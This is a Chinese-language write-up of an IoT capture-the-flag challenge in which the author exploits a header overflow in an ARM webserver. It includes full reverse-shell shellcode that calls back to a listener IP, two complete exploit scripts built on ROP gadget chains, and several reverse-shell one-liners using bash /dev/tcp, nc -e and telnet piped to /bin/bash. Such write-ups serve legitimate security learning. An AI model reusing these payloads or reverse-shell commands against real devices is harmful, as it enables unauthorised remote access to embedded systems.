第一次参加这种神奇的IOT赛,上来就日板子,然后我也成功的在设置连接板子的ip上卡了一整天
直到最后五分钟改了ip才从板子上弹出来pwn的shell(永远都在无关紧要的问题上卡到比赛结束
也导致了这么新奇的赛题除了侧信道和故障注入居然只看了一道题,,本来还想就算做不出来也得上台看看摄像头的
不过这也是反弹shell操作现学现卖,就随便记个笔记吧
easyserver
一个webserver程序,据说有目录穿越可以直接读取flag,不过主办方要求提交反弹shell的wp才会发真正的flag
例行检查
ida打开,由于是静态链接,又没有符号表,逆向渣表示逆向是不可能逆向的,只是搜索字符串/bin/sh
可以找到一个疑似execve
的函数,看逻辑猜测可能是fork()
+execve()
启动进程组合
其执行的是一个叫tree
的文件
除此之外就逆不出来其他线索了,但是后面手动发包测试发现在访问存在的页面的时候,对报文头的处理存在溢出
当时以为应该是用strcpy
这类函数往栈上复制的报文头,以为有\x00
截断,而这静态程序的地址高位全是\x00
想到经常有arm程序chekcsec出来存在NX保护,但是实际栈上是有执行权限的
试了一下跳到栈上发现是可以执行的
面向互联网编写shellcode,找到的shellcode有很多会提示错误
Invalid return character or leading space in header: User-Agent
好像是报文头里包含一些空格的原因,,但是有些有空格的也不会报错
shllcode:
#切换为Thumb指令集
#add r1, pc, #1;
#bx r1;
sc = b'\x01\x10\x8f\xe2'
sc += b'\x11\xff\x2f\xe1'
#r7保存系统调用号
#r7 = 153;清空所有内存页状态
#mov r0, #2;
#mov r1, #1;
#sub r2, r2, r2;
#lsl r7, r1, #8;
#add r7, #25
#svc 1;
sc += b'\x02\x20'
sc += b'\x01\x21'
sc += b'\x92\x1a'
sc += b'\x0f\x02'
sc += b'\x19\x37'
sc += b'\x01\xdf'
#socket创建套接字
#add r6, r0, #0;
#add r1, pc, #32;
#mov r2, #16;
#add r7, #2;
#svc 1;
sc += b'\x06\x1c'
sc += b'\x08\xa1'
sc += b'\x10\x22'
sc += b'\x02\x37'
sc += b'\x01\xdf'
#循环dup重定向输入输出流到socket
#mov r7, #63;
#mov r1, #2;
sc += b'\x3f\x27'
sc += b'\x02\x21'
#Dup:
#add r0, r6, #0;
#svc 1;
#sub r1, #1;
#bpl Dup;
sc += b'\x30\x1c'
sc += b'\x01\xdf'
sc += b'\x01\x39'
sc += b'\xfb\xd5'
#构造argv[1] = {"/bin/sh", 0};
#调用execve("/bin/sh", argv, 0);
#add r0, pc, #20;
#sub r2, r2, r2;
#push {r0, r2};
#mov r1, sp;
#mov r7, #11;
#svc 1;
sc += b'\x05\xa0'
sc += b'\x92\x1a'
sc += b'\x05\xb4'
sc += b'\x69\x46'
sc += b'\x0b\x27'
sc += b'\x01\xdf'
#nop 对齐
sc += b'\xc0\x46'
#套接字:0x02 0x00
#端口号:8888
sc += b'\x02\x00'
sc += b'\x22\xb8'
#IP:20.21.2.26
sc += b'\x14\x15\x02\x1a'
#/bin/sh
sc += '/bin/sh\x00'
最后发现其实是没有\x00
截断的
虽然在qemu用户模式模拟时栈地址是固定的,但是不知道在板子上是不是,没有回显也不好判断
于是采用ROP+shellcode的方法
由于输入是有长度限制的,在ROP拿到的栈地址处shellcode已经放不下了
所以思路是ROP获取栈上的可控地址并跳转到栈上,将shellcode布置在payload的前面并且让pc指针跳到前面去
exp:
from pwn import *
import requests
context.arch='arm'
url = "http://20.21.2.27:59816/404.html"
#url = "http://127.0.0.1:59816/404.html"
sc = b'\x01\x10\x8f\xe2'
sc += b'\x11\xff\x2f\xe1'
sc += b'\x02\x20'
sc += b'\x01\x21'
sc += b'\x92\x1a'
sc += b'\x0f\x02'
sc += b'\x19\x37'
sc += b'\x01\xdf'
sc += b'\x06\x1c'
sc += b'\x08\xa1'
sc += b'\x10\x22'
sc += b'\x02\x37'
sc += b'\x01\xdf'
sc += b'\x3f\x27'
sc += b'\x02\x21'
sc += b'\x30\x1c'
sc += b'\x01\xdf'
sc += b'\x01\x39'
sc += b'\xfb\xd5'
sc += b'\x05\xa0'
sc += b'\x92\x1a'
sc += b'\x05\xb4'
sc += b'\x69\x46'
sc += b'\x0b\x27'
sc += b'\x01\xdf'
sc += b'\xc0\x46'
sc += b'\x02\x00\x22\xb8\x14\x15\x02\x1a'
sc += '/bin/sh\x00'
bss = 0x8B3C0
pd = '1'*0x3e8+sc+'a'*0x10
pd += p32(0x53EC8)
pd += p32(0)+p32(0)+p32(0)+p32(0)+p32(0x4DE84)+p32(bss)+p32(0)+p32(0x38200)
pd += p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x2FE38)
pd += 'k'*4+'l'*4+'n'*4+'m'*4+'o'*4+'p'*4+'q'*4+'r'*4
pd += 'b'*4+'c'*4+'d'*4+'e'*4+'f'*4+'g'*4+'h'*4+asm('sub pc,pc,0xe0')+'a'*0x200
hd = {"Host": "192.168.51.196:59816","User-Agent":pd}
r = requests.post(url,headers=hd, verify=False, timeout=1000)
#0x53ec8 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
#0x38200 : add r2, sp, #0x5c ; blx r8
#0x4DE84 : mov r0, sb ; pop {r4, r5, r6, r7, r8, sb, sl, pc}
#0x2FE38 : mov lr, r2 ; ldr r2, [pc, #0xc] ; ldr r2, [pc, r2] ; str r1, [r0, r2] ; mvn r0, #0 ; bx lr
shell1:
python exp.py
shell2:
nc -l -p 8888
gadget找得眼快瞎掉了,,却发现打板子上打不通,以为是板子上有NX保护
于是想起之前的execve
,想着试试看能不能控制参数再返回到那里命令注入
思路是在ROP拿到的栈地址处写命令,将其地址保存在R0寄存器中作为参数返回到可以执行execve的函数
exp:
from pwn import *
import requests
context.arch='arm'
url = "http://20.21.2.27:59816/404.html"
#url = "http://127.0.0.1:59816/404.html"
bss = 0x8B3C0
have_execve = 0x19158
#bash -i >& /dev/tcp/ip/port 0>&1
#nc 192.168.51.138 8888 -e /bin/sh
#telnet 192.168.51.138 1234 | /bin/bash | telnet 192.168.51.138 4321
cmd = 'telnet 192.168.51.138 1234 | /bin/bash | telnet 192.168.51.138 4321'
pd = '1'*0x440
pd += p32(0x53ec8)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x22F48)+p32(bss)+p32(0)+p32(0x38200)
pd += p32(0)+p32(0)+p32(bss)+p32(0)+p32(0)+p32(have_execve)
pd += 'a'*0x48+cmd+p32(0)+'i'*0x40
hd = {"Host": "192.168.51.199:59816","User-Agent":pd}
r = requests.post(url,headers=hd, verify=False, timeout=1000)
#0x53ec8 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
#0x38200: add r2, sp, #0x5c ; blx r8
#0x22F48 : mov r0, r2 ; pop {r4, r5, r6, r7, r8, pc}
shell1:
python exp.py
shell2:
nc -l -p 1234
shell3:
nc -l -p 4321
一个发送命令一个回显
但是可能是构造的偏移有误,找到的反弹shell的命令中只有telnet这条可以在虚拟机上跑出来,而在板子上则都不能成功
最后还是用shellcode的方法拿到了反弹shell
参考资料
https://www.jb51.net/article/197799.htm
https://rootkiter.com/2015/07/04/ARM%E4%B8%8B%E7%9A%84ShellCode.html